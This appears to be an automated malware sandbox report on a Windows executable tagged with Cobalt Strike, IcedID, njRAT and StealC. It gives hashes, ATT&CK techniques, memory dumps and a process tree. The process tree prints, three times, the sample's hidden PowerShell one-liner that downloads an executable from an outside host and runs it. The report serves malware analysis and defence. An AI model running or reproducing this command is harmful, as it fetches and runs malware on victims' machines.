21ed4d99d536bce3c2cf5c71bf1c385b088c885d9d3904e239723e57bd7cdc50

Analysis

max time kernel
150s
max time network
111s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 07:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-18_8b9146b3cd45e8524a454032eef62ada_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Size 568KB
Sample260718-h17bpsby5j
SHA256 21ed4d99d536bce3c2cf5c71bf1c385b088c885d9d3904e239723e57bd7cdc50
MD5 8b9146b3cd45e8524a454032eef62ada
SHA1 222939c2a36eb84dfce5470734f1cce6f5e37c0a
SHA512 130ff12af5a14a6fa9dcf4764c42f4198d2332afb8e6fdc9286405771ef3d38426b94509ff480c665c3eeeb1c97c5c98c58f07a8c7e4e6dded5012c1d8aaa9e1
SSDEEP 12288:tUnq9R03Uv8t3c3O6UXJoW4GcyFczYEj:eq9R0Ev8VaOtXJp4TywD
TLSH
T1C8C47C65A7A500F9E1B7C178CE574906EA727C050760DBDF03A4DAA62F236D09F3EB12
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3716	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2068	cmd.exe
4520	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3716	powershell.exe
3716	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3716	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3692 wrote to memory of 4520	3692	2026-07-18_8b9146b3cd45e8524a454032eef62ada_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	88
PID 4520 wrote to memory of 2068	4520	cmd.exe	91
PID 2068 wrote to memory of 3716	2068	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\2026-07-18_8b9146b3cd45e8524a454032eef62ada_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-18_8b9146b3cd45e8524a454032eef62ada_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK590968.exe; Start-Process -FilePath $env:TEMP\BK590968.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4520
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK590968.exe; Start-Process -FilePath $env:TEMP\BK590968.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK590968.exe; Start-Process -FilePath $env:TEMP\BK590968.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3716

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3692-0-0x0000000140000000-0x000000014008E000-memory.dmp

Download

memory/3692-16-0x0000000140000000-0x000000014008E000-memory.dmp

Download

memory/3716-8-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/3716-3-0x00000254611A0000-0x00000254611C2000-memory.dmp

Download

memory/3716-4-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/3716-7-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/3716-2-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/3716-9-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/3716-10-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/3716-11-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/3716-12-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/3716-13-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/3716-15-0x00007FFA7A910000-0x00007FFA7B2B4000-memory.dmp

Download

memory/3716-1-0x00007FFA7AA9F000-0x00007FFA7AAA0000-memory.dmp

Download